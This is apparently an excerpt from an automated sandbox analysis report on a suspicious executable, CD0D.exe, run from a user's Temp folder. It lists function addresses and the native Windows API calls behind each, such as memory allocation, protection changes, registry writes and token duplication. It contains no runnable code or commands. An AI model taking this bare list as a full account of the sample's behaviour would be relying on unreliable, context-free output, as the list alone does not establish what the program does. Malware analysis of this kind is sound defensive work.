Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,	22_2_6A94F0BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9418B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,	22_2_6A9418B9
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93F0AE ZwSetInformationWorkerFactory,	22_2_6A93F0AE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C60A2 ZwQueryInformationFile,	22_2_6A9C60A2
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9510D7 ZwOpenKey,ZwCreateKey,	22_2_6A9510D7
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9598D0 ZwQueryAttributesFile,	22_2_6A9598D0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95A0D0 ZwCreateTimer2,	22_2_6A95A0D0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9170C0 ZwClose,RtlFreeHeap,RtlFreeHeap,	22_2_6A9170C0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9500C2 ZwAlertThreadByThreadId,	22_2_6A9500C2
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,	22_2_6A91B8F0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9140FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,	22_2_6A9140FD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C60E9 ZwOpenKey,ZwClose,ZwClose,	22_2_6A9C60E9
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9EF019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,	22_2_6A9EF019
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	22_2_6A91F018
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959830 ZwOpenFile,	22_2_6A959830
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,	22_2_6A944020
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlSetCurrentDirectory_U,RtlFreeHeap,RtlFreeHeap,	22_2_6A915050
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959850 ZwQueryDirectoryFile,	22_2_6A959850
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8858 ZwAlertThreadByThreadId,	22_2_6A9E8858
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959840 ZwDelayExecution,	22_2_6A959840
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,	22_2_6A9A1879
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92106F ZwOpenKey,ZwClose,	22_2_6A92106F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959990 ZwQueryVolumeInformationFile,	22_2_6A959990
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	22_2_6A91519E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,	22_2_6A93C182
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DA189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,	22_2_6A9DA189
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95B180 ZwWaitForAlertByThreadId,	22_2_6A95B180
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959980 ZwCreateEvent,	22_2_6A959980
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C6186 ZwQueryValueKey,memmove,RtlInitUnicodeString,	22_2_6A9C6186
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95A9B0 ZwQueryLicenseValue,	22_2_6A95A9B0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9951BE ZwQuerySystemInformation,ZwQuerySystemInformationEx,RtlAllocateHeap,ZwQuerySystemInformationEx,RtlFindCharInUnicodeString,RtlEnterCriticalSection,memcpy,	22_2_6A9951BE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95B1A0 ZwWaitForKeyedEvent,	22_2_6A95B1A0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D49A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	22_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A19C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,	22_2_6A9A19C8
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E89E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E89E7
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,TpReleasePool,TpReleasePool,RtlDebugPrintTimes,TpReleasePool,	22_2_6A919100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A920100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,LdrUnloadAlternateResourceModuleEx,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,	22_2_6A920100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959900 ZwOpenEvent,	22_2_6A959900
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9B5100 RtlAssert,RtlCaptureContext,DbgPrintEx,DbgPrompt,ZwTerminateThread,DbgPrintEx,RtlAssert,ZwTerminateProcess,	22_2_6A9B5100
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A193B ZwRaiseException,ZwTerminateProcess,	22_2_6A9A193B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95A130 ZwCreateWaitCompletionPacket,	22_2_6A95A130
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9EF13B ZwOpenKey,ZwCreateKey,	22_2_6A9EF13B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959920 ZwDuplicateToken,	22_2_6A959920
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlOpenCurrentUser,RtlInitUnicodeString,ZwOpenKey,	22_2_6A91F150
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95B150 ZwUnsubscribeWnfStateChange,	22_2_6A95B150
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,	22_2_6A91395E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,	22_2_6A93B944
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,	22_2_6A91B171
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1976 ZwCreateEvent,	22_2_6A9A1976
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95B160 ZwUpdateWnfStateData,	22_2_6A95B160
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95A160 ZwCreateWorkerFactory,	22_2_6A95A160
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8966 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8966
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	22_2_6A9CBE9B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,	22_2_6A94DE9E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912E9F ZwCreateEvent,ZwClose,	22_2_6A912E9F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A913E80
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E3EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,	22_2_6A9E3EBC
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,RtlSetThreadWorkOnBehalfTicket,	22_2_6A93E6B0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A2EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9A2EA3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A949ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,	22_2_6A949ED0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9596D0 ZwCreateKey,	22_2_6A9596D0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9166D4 RtlInitUnicodeString,ZwQueryValueKey,	22_2_6A9166D4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8ED6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,	22_2_6A912ED8
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9596C0 ZwSetInformationProcess,	22_2_6A9596C0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A16FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,	22_2_6A9A16FA
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,	22_2_6A91B6F0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A96DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,	22_2_6A96DEF0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93E6F9 ZwAlpcSetInformation,	22_2_6A93E6F9
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9596E0 ZwFreeVirtualMemory,	22_2_6A9596E0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A2E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9A2E14
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,LdrQueryImageFileKeyOption,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,	22_2_6A91C600
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91B630 ZwWaitForKeyedEvent,	22_2_6A91B630
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9CFE3F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959E30 ZwCancelWaitCompletionPacket,	22_2_6A959E30
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959E20 ZwCancelTimer2,	22_2_6A959E20
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E3E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,	22_2_6A9E3E22
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95B650 RtlUnhandledExceptionFilter,ZwTerminateProcess,	22_2_6A95B650
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959650 ZwQueryValueKey,	22_2_6A959650
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A6652 ZwClose,RtlAllocateHeap,memcpy,ZwUnmapViewOfSection,	22_2_6A9A6652
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95B640 RtlUnhandledExceptionFilter,ZwTerminateProcess,	22_2_6A95B640
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95AE70 ZwSetInformationWorkerFactory,	22_2_6A95AE70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959670 ZwQueryInformationProcess,	22_2_6A959670
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,RtlGetCurrentTransaction,	22_2_6A94BE62
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A5780 DbgPrompt,ZwWow64DebuggerCall,	22_2_6A9A5780
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C5F87 ZwUnmapViewOfSection,	22_2_6A9C5F87
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlDestroyHeap,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9597A0 ZwUnmapViewOfSection,	22_2_6A9597A0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A953FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,RtlGetLocaleFileMappingAddress,ZwUnmapViewOfSection,	22_2_6A953FA0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95AFD0 ZwShutdownWorkerFactory,	22_2_6A95AFD0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DFDF RtlWakeAddressAllNoFence,ZwAlertThreadByThreadId,RtlWakeAddressAllNoFence,	22_2_6A94DFDF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,EtwNotificationUnregister,	22_2_6A91F7C0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9597C0 ZwTerminateProcess,	22_2_6A9597C0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A920FFD RtlInitUnicodeString,ZwQueryValueKey,	22_2_6A920FFD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A0FEC ZwDuplicateObject,ZwDuplicateObject,	22_2_6A9A0FEC
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9437EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,	22_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959710 ZwQueryInformationToken,	22_2_6A959710
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A6715 memset,memcpy,ZwTraceEvent,	22_2_6A9A6715
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A949702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,	22_2_6A949702
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,	22_2_6A94E730
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959730 ZwQueryVirtualMemory,	22_2_6A959730
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CCF30 ZwAlertThreadByThreadId,	22_2_6A9CCF30
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959750 ZwQueryInformationThread,	22_2_6A959750
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A5F5F RtlInitUnicodeString,ZwOpenFile,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlAllocateHeap,RtlInitUnicodeString,ZwQueryDirectoryFile,RtlAllocateHeap,memcpy,RtlFreeHeap,ZwClose,	22_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959740 ZwOpenThreadToken,	22_2_6A959740
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A950F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,	22_2_6A950F48
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,	22_2_6A94174B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959F70 ZwCreateIoCompletion,	22_2_6A959F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959770 ZwSetInformationFile,	22_2_6A959770
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,	22_2_6A9CCF70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916F60 RtlGetPersistedStateLocation,ZwOpenKey,memcpy,RtlGetPersistedStateLocation,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwQueryValueKey,RtlExpandEnvironmentStrings,memcpy,ZwClose,ZwClose,RtlFreeHeap,	22_2_6A916F60
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8F6A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95AF60 ZwSetTimer2,	22_2_6A95AF60
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,	22_2_6A9A176C
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A993C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,	22_2_6A993C93
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95A480 ZwInitializeNlsFiles,	22_2_6A95A480
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E9CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E9CB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E4CAB ZwTraceControl,	22_2_6A9E4CAB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8CD6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912CDB RtlFreeHeap,ZwClose,ZwSetEvent,	22_2_6A912CDB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D14FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9D14FB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,	22_2_6A9C64FB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	22_2_6A91F4E3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1CE4 ZwQueryInformationProcess,	22_2_6A9A1CE4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A950413 ZwUnmapViewOfSection,	22_2_6A950413
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8C14
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1411 ZwTraceEvent,	22_2_6A9D1411
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93FC39 ZwAssociateWaitCompletionPacket,	22_2_6A93FC39
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95A420 ZwGetNlsSectionPtr,	22_2_6A95A420
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915450 RtlClearThreadWorkOnBehalfTicket,memcmp,RtlClearThreadWorkOnBehalfTicket,ZwSetInformationThread,	22_2_6A915450
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1C49 ZwQueryInformationProcess,	22_2_6A9A1C49
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959C40 ZwAllocateVirtualMemoryEx,	22_2_6A959C40
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959C70 ZwAlpcConnectPort,	22_2_6A959C70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A955C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,	22_2_6A955C70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8C75
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1C76 ZwQueryInformationProcess,	22_2_6A9A1C76
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,	22_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,	22_2_6A9C3C60
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	22_2_6A93746D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913591 ZwSetInformationFile,	22_2_6A913591
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,	22_2_6A92DD80
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DB581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1582 ZwTraceEvent,	22_2_6A9D1582
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9595B0 ZwSetInformationThread,	22_2_6A9595B0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959DB0 ZwAlpcSetInformation,	22_2_6A959DB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9165A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,	22_2_6A9165A0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959DA0 ZwAlpcSendWaitReceivePort,	22_2_6A959DA0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9145D0 RtlGetThreadWorkOnBehalfTicket,RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,	22_2_6A9145D0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9595D0 ZwClose,	22_2_6A9595D0
